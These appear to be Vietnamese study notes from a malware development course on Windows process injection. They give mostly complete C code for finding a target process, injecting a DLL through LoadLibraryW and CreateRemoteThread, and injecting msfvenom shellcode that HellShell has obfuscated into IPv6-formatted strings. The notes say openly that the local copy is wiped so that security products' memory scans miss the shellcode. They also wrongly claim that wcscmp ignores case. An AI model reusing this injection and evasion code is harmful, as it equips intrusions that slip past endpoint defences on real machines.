Khác với Local Payload Execution, chúng ta sẽ thực thi shellcode ở trong một process khác process hiện tại.

Enumerating Processes

Trước tiên, ta cần chọn một tiến trình để tiêm DLL. Để làm được điều này, ta cần tìm tất cả các tiến trình hiện có ở trên máy. Nguyên mẫu của hàm enum các tiến trình:

BOOL GetRemoteProcessHandle(IN LPWSTR szProcessName, OUT DWORD* dwProcessId, OUT HANDLE* hProcess) {
 
	// ...
 
}

Có thể thấy, GetRemoteProcessHandle có tham số đầu tiên là tên của tiến trình cần tìm, tham số thứ hai là con trỏ đến biến chứa PID của tiến trình cần tìm còn tham số thứ 3 là con trỏ đến handle của tiến trình cần tìm. Trong trường hợp không tìm được, giá trị trả về của hàm sẽ là FALSE và ngược lại.

Chúng ta sẽ sử dụng các hàm sau để triển khai hàm trên.

CreateToolhelp32Snapshot

Hàm CreateToolhelp32Snapshot với đối số đầu tiên là cờ TH32CS_SNAPPROCESS cho phép ta tạo ra một snapshot của tất cả các tiến trình ở trong máy tại thời điểm hàm được gọi.

// Takes a snapshot of the currently running processes 
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

PROCESSENTRY32 Structure

Sau khi có snapshot, ta có thể dùng hàm Process32First để lấy ra thông tin của tiến trình đầu tiên ở trong snapshot. Đối với tất cả các tiến trình khác, ta sẽ sử dụng hàm Process32Next.

Cả hai hàm này đều cần truyền vào đối số thứ 2 là một biến có kiểu là PROCESSENTRY32, được định nghĩa như sau:

typedef struct tagPROCESSENTRY32 {
  DWORD     dwSize;
  DWORD     cntUsage;
  DWORD     th32ProcessID;              // The process ID
  ULONG_PTR th32DefaultHeapID;
  DWORD     th32ModuleID;
  DWORD     cntThreads;
  DWORD     th32ParentProcessID;        // Process ID of the parent process
  LONG      pcPriClassBase;
  DWORD     dwFlags;
  CHAR      sz`ExeFile[MAX_PATH];        // The name of the executable file for the process
} PROCESSENTRY32;

Trong quá trình xử lý của hàm Process32First và hàm Process32Next, các thành phần của biến cấu trúc sẽ được gán bằng các thông tin liên quan đến tiến trình.

Info

Các thành phần quan trọng mà ta cần để ý đến là các thành phần có comment.

Process32First & Process32Next

Đoạn code sau thực hiện enumerate danh sách các tiến trình để tìm tiến trình có tên là giá trị của biến szProcessName bằng cách so sánh nó với thành phần szExeFile của PROCESSENTRY32. Nếu tìm được, chúng ta sẽ lưu lại PID của tiến trình và mở một handle đến tiến trình đó.

// Retrieves information about the first process encountered in the snapshot.
if (!Process32First(hSnapShot, &Proc)) {
	printf("[!] Process32First Failed With Error : %d \n", GetLastError());
	goto _EndOfFunction;
}
 
do {
	// Use the dot operator to extract the process name from the populated struct
	// If the process name matches the process we're looking for
	if (wcscmp(Proc.szExeFile, szProcessName) == 0) {
		// Use the dot operator to extract the process ID from the populated struct
		// Save the PID
		*dwProcessId  = Proc.th32ProcessID;
		// Open a handle to the process
		*hProcess     = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Proc.th32ProcessID);
		if (*hProcess == NULL)
			printf("[!] OpenProcess Failed With Error : %d \n", GetLastError());
 
		break; // Exit the loop
	}
 
// Retrieves information about the next process recorded the snapshot.
// While a process still remains in the snapshot, continue looping
} while (Process32Next(hSnapShot, &Proc));

Với label _EndOfFunction dùng để dọn dẹp tài nguyên:

_EndOfFunction:
	if (hSnapShot != NULL)
		CloseHandle(hSnapShot);
	if (*dwProcessId == NULL || *hProcess == NULL)
		return FALSE;
	return TRUE;

Ngoài ra, theo tài liệu của Microsoft, thành phần dwSize của PROCESSENTRY32 cần được gán giá trị trước khi sử dụng. Để làm điều này, ta cần thêm dòng code sau trước khi tạo snapshot:

// According to the documentation:
// Before calling the Process32First function, set this member to sizeof(PROCESSENTRY32).
// If dwSize is not initialized, Process32First fails.
PROCESSENTRY32	Proc = {
	.dwSize = sizeof(PROCESSENTRY32) 
};

Seealso

Có thể xem thêm ví dụ của Microsoft về cách enum các tiến trình: Taking a snapshot, viewing processes - Win32 apps | Microsoft Learn

Case Sensitive Process Name

Cần lưu ý rằng hàm wcscmp sẽ so sánh chuỗi mà không quan tâm đến các ký tự viết hoa hay viết thường. Do đó, ta cần chuyển giá trị của thành phần szExeFile trong PROCESSENTRY32 và giá trị của biến szProcessName sang chữ thường trước khi so sánh.

Sửa vòng lặp do-while lại như sau:

do {
 
	WCHAR LowerName[MAX_PATH * 2];
 
	if (Proc.szExeFile) {
		DWORD	dwSize = lstrlenW(Proc.szExeFile);
		DWORD   i = 0;
 
		RtlSecureZeroMemory(LowerName, MAX_PATH * 2);
 
		// Converting each charachter in Proc.szExeFile to a lower case character
		// and saving it in LowerName
		if (dwSize < MAX_PATH * 2) {
 
			for (; i < dwSize; i++)
				LowerName[i] = (WCHAR)tolower(Proc.szExeFile[i]);
 
			LowerName[i++] = '\0';
		}
	}
 
	// If the lowercase'd process name matches the process we're looking for
	if (wcscmp(LowerName, szProcessName) == 0) {
		// Save the PID
		*dwProcessId = Proc.th32ProcessID;
		// Open a handle to the process
		*hProcess    = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Proc.th32ProcessID);
		if (*hProcess == NULL)
			printf("[!] OpenProcess Failed With Error : %d \n", GetLastError());
 
		break;
	}
 
// Retrieves information about the next process recorded the snapshot.
// While a process still remains in the snapshot, continue looping
} while (Process32Next(hSnapShot, &Proc));

DLL Injection

Sau khi có handle đến một remote process (là tiến trình khác tiến trình hiện tại), ta sẽ thực hiện tiêm DLL vào process đó nhằm thực thi mã độc bằng cách sử dụng các hàm sau của Windows API:

  • VirtualAllocEx: tương tự với VirtualAlloc nhưng cho phép cấp phát bộ nhớ ở trong một remote process.
  • WriteProcessMemory: ghi dữ liệu vào vùng nhớ của một remote process. Trong trường hợp này, ta sẽ ghi vào đường dẫn của DLL vào tiến trình mục tiêu.
  • CreateRemoteThread: tạo một thread ở trong remote process.

Chúng ta sẽ xây dựng hàm InjectDllToRemoteProcess để inject DLL vào một tiến trình. Hàm này nhận vào 2 đối số:

  1. Handle của tiến trình mà ta cần inject vào.
  2. Đường dẫn của DLL mà ta sẽ inject.

Find LoadLibraryW Address

Chúng ta cần lấy ra địa chỉ của hàm LoadLibraryW ở trong vùng nhớ rồi truyền vào tiến trình mục tiêu như là entry point của một thread mới trong tiến trình đó. Lý do mà ta có thể dùng địa chỉ của hàm LoadLibraryW được lấy ra từ tiến trình hiện tại ở trong tiến trình mục tiêu là vì địa chỉ này được chia sẻ giữa các tiến trình.

Lấy ra địa chỉ sử dụng hàm GetProcAddress như sau:

// LoadLibrary is exported by kernel32.dll
// Therefore a handle to kernel32.dll is retrieved followed by the address of LoadLibraryW
pLoadLibraryW = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");

Allocating Memory

Bước tiếp theo là cấp phát vùng nhớ ở trong tiến trình mục tiêu sử dụng hàm VirtualAllocEx. Vùng nhớ này sẽ được dùng để chứa đường dẫn của DLL mà sẽ được dùng làm đối số của hàm LoadLibraryW.

// Allocate memory the size of dwSizeToWrite (that is the size of the dll name) inside the remote process, hProcess.
// Memory protection is Read-Write
pAddress = VirtualAllocEx(hProcess, NULL, dwSizeToWrite, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

VirtualAllocEx khác VirtualAlloc ở chỗ nó có thể được dùng để cấp phát vùng nhớ ở trong một tiến trình khác tiến trình hiện tại.

Writing To Allocated Memory

Chúng ta sẽ sử dụng hàm WriteProcessMemory để ghi đường dẫn của DLL vào vùng nhớ đã được cấp phát ở trong tiến trình mục tiêu. Nguyên mẫu của hàm:

BOOL WriteProcessMemory(
  [in]  HANDLE  hProcess,               // A handle to the process whose memory to be written to
  [in]  LPVOID  lpBaseAddress,          // Base address in the specified process to which data is written
  [in]  LPCVOID lpBuffer,               // A pointer to the buffer that contains data to be written to 'lpBaseAddress'
  [in]  SIZE_T  nSize,                  // The number of bytes to be written to the specified process.	
  [out] SIZE_T  *lpNumberOfBytesWritten // A pointer to a 'SIZE_T' variable that receives the number of bytes actually written
);

Ví dụ sử dụng như sau:

// The data being written is the DLL name, 'DllName', which is of size 'dwSizeToWrite'
SIZE_T lpNumberOfBytesWritten = NULL;
WriteProcessMemory(hProcess, pAddress, DllName, dwSizeToWrite, &lpNumberOfBytesWritten)

Có thể thấy, chúng ta ghi buffer (DllName) vào vùng nhớ đã được cấp phát (pAddress) mà được trả về bởi hàm VirtualAllocEx.

Execution Via New Thread

Sau khi ghi đường dẫn của DLL vào tiến trình mục tiêu thì ta sẽ dùng hàm CreateRemoteThread để tạo một thread ở trong tiến trình đó nhằm chạy DLL.

Địa chỉ của hàm LoadLibraryW được lưu ở trong biến pLoadLibraryW sẽ được truyền vào như là entry point của thread mới và giá trị pAddress sẽ được truyền vào như là đối số của hàm LoadLibraryW.

// The thread entry will be 'pLoadLibraryW' which is the address of LoadLibraryW
// The DLL's name, pAddress, is passed as an argument to LoadLibrary
HANDLE hThread = CreateRemoteThread(hProcess, NULL, NULL, pLoadLibraryW, pAddress, NULL, NULL);

Các tham số của CreateRemoteThread tương tự như CreateThread nhưng có thêm một tham số đầu tiên là handle của tiến trình mà thread ta cần tạo thread.

Debugging

Đầu tiên, chúng ta sẽ chạy chương trình với hai đối số là đường dẫn của DLL và tên của tiến trình mục tiêu.

Kiểm tra ở trong Process Hacker thì thấy PID của notepad++.exe là chính xác (224). Điều này đồng nghĩa với việc đoạn code tìm tiến trình đã hoạt động đúng.

Chúng ta gắn xdbg vào chương trình notepad++.exe rồi kiểm tra địa chỉ vùng nhớ đã được cấp phát:

Sau đó, đường dẫn của DLL sẽ được ghi vào vùng nhớ này:

Cuối cùng, tạo thread mới để chạy hàm LoadLibraryW nhằm nạp DLL vào tiến trình mục tiêu.

Error

Tuy nhiên, DLL không được chạy. Lý do là vì ta cần dùng đường dẫn tuyệt đối đến DLL.

Xác nhận rằng Dll.dll đã được nạp vào tiến trình mục tiêu:

Đồng thời có một thread mới đã được tạo ra để thực thi hàm LoadLibraryW:

Shellcode Injection

Kỹ thuật này tương tự như kỹ thuật trước nhưng có một vài thay đổi nhỏ. Các Windows API mà ta sẽ sử dụng cũng tương tự như kỹ thuật trước:

  • VirtualAllocEx
  • WriteProcessMemory
  • VirtualProtectEx: dùng để chỉnh sửa quyền bảo vệ của vùng nhớ nhằm cho phép thực thi shellcode.
  • CreateRemoteThread

Chúng ta sẽ xây dựng hàm InjectShellcodeToRemoteProcess có 3 tham số:

  1. hProcess: handle đến process mục tiêu.
  2. pShellcode: địa chỉ của vùng nhớ chứa shellcode ở dạng đã được deobfuscated/decrypted do một khi shellcode đã được nạp vào tiến trình mục tiêu thì chúng ta không thể chỉnh sửa được nữa.
  3. sSizeOfShellcode: kích thước của shellcode.

Hiện thực hàm:

BOOL InjectShellcodeToRemoteProcess(HANDLE hProcess, PBYTE pShellcode, SIZE_T sSizeOfShellcode) {
 
	PVOID	pShellcodeAddress              = NULL;
 
	SIZE_T	sNumberOfBytesWritten          = NULL;
	DWORD	dwOldProtection                = NULL;
 
 
	// Allocate memory in the remote process of size sSizeOfShellcode 
	pShellcodeAddress = VirtualAllocEx(hProcess, NULL, sSizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if (pShellcodeAddress == NULL) {
		printf("[!] VirtualAllocEx Failed With Error : %d \n", GetLastError());
		return FALSE;
	}
	printf("[i] Allocated Memory At : 0x%p \n", pShellcodeAddress);
 
 
	printf("[#] Press <Enter> To Write Payload ... ");
	getchar();
	// Write the shellcode in the allocated memory
	if (!WriteProcessMemory(hProcess, pShellcodeAddress, pShellcode, sSizeOfShellcode, &sNumberOfBytesWritten) || sNumberOfBytesWritten != sSizeOfShellcode) {
		printf("[!] WriteProcessMemory Failed With Error : %d \n", GetLastError());
		return FALSE;
	}
	printf("[i] Successfully Written %d Bytes\n", sNumberOfBytesWritten);
 
	memset(pShellcode, '\0', sSizeOfShellcode);
 
	// Make the memory region executable
	if (!VirtualProtectEx(hProcess, pShellcodeAddress, sSizeOfShellcode, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
		printf("[!] VirtualProtectEx Failed With Error : %d \n", GetLastError());
		return FALSE;
	}
 
	
	printf("[#] Press <Enter> To Run ... ");
	getchar();
	printf("[i] Executing Payload ... ");
	// Launch the shellcode in a new thread
	if (CreateRemoteThread(hProcess, NULL, NULL, pShellcodeAddress, NULL, NULL, NULL) == NULL) {
		printf("[!] CreateRemoteThread Failed With Error : %d \n", GetLastError());
		return FALSE;
	}
	printf("[+] DONE !\n");
 
	return TRUE;
}

Có thể thấy, sau khi ghi shellcode vào tiến trình mục tiêu thì ta dọn sạch vùng nhớ tạm chứa shellcode trước đó. Kế đến, sử dụng VirtualProtectEx để cho phép vùng nhớ chứa shellcode ở trong tiến trình mục tiêu (pShellcodeAddress) có quyền thực thi. Cuối cùng, gọi hàm CreateRemoteThread với thread entry là giá trị của pShellcodeAddress để thực thi shellcode.

Deallocating Remote Memory

Để giải phóng vùng nhớ đã cấp phát trong tiến trình mục tiêu, ta sẽ sử dụng hàm VirtualFreeEx có nguyên mẫu như sau:

BOOL VirtualFreeEx(
  [in] HANDLE hProcess,
  [in] LPVOID lpAddress,
  [in] SIZE_T dwSize,
  [in] DWORD  dwFreeType
);

Có thể thấy, VirtualFreeEx có các tham số giống với VirtualFree nhưng có thêm một tham số đầu tiên là handle của tiến trình mà có chứa vùng nhớ cần giải phóng.

Warning

Chỉ được gọi VirtualFreeEx sau khi shellcode đã được thực thi thành công. Nếu không thì shellcode sẽ không thể thực thi được và tiến trình mục tiêu sẽ bị crash.

Debugging

Chúng ta sẽ sử dụng shellcode được tạo ra bởi msfvenom và được che giấu bởi HellShell.

// Output using `HellShell.exe calc.bin ipv6`
// Where calc.bin is Msfvenom's calc x64 shellcode
 
char* Ipv6Array[] = {
		"FC48:83E4:F0E8:C000:0000:4151:4150:5251", "5648:31D2:6548:8B52:6048:8B52:1848:8B52", "2048:8B72:5048:0FB7:4A4A:4D31:C948:31C0",
		"AC3C:617C:022C:2041:C1C9:0D41:01C1:E2ED", "5241:5148:8B52:208B:423C:4801:D08B:8088", "0000:0048:85C0:7467:4801:D050:8B48:1844",
		"8B40:2049:01D0:E356:48FF:C941:8B34:8848", "01D6:4D31:C948:31C0:AC41:C1C9:0D41:01C1", "38E0:75F1:4C03:4C24:0845:39D1:75D8:5844",
		"8B40:2449:01D0:6641:8B0C:4844:8B40:1C49", "01D0:418B:0488:4801:D041:5841:585E:595A", "4158:4159:415A:4883:EC20:4152:FFE0:5841",
		"595A:488B:12E9:57FF:FFFF:5D48:BA01:0000", "0000:0000:0048:8D8D:0101:0000:41BA:318B", "6F87:FFD5:BBE0:1D2A:0A41:BAA6:95BD:9DFF",
		"D548:83C4:283C:067C:0A80:FBE0:7505:BB47", "1372:6F6A:0059:4189:DAFF:D563:616C:6300"
};

Chạy chương trình với notepad++.exe là đối số thì thấy rằng PID của notepad++.exe tìm được khớp với kết quả của Process Hacker:

Kế đến, chương trình sẽ thực hiện giải mã shellcode và lưu vào một vùng nhớ tạm. Cần lưu ý là vùng nhớ tạm này không tồn tại ở trong notepad++.exe:

Để xem shellcode, ta cần xem nó ở trong vùng nhớ của chương trình ProcShellcodeExec.exe:

Shellcode đã được ghi vào tiến trình mục tiêu thành công:

Khi kiểm tra vùng nhớ tạm của chương trình ProcShellcodeExec.exe thì thấy rằng nó đã được dọn sạch:

Điều này là để đảm bảo các security solution không phát hiện ra được shellcode ở trong vùng nhớ khi thực hiện memory scan.

Cuối cùng, shellcode đã được thực thi thành công ở trong một thread mới:

list
from outgoing([[MalDev - Process Injection]])
sort file.ctime asc

Resources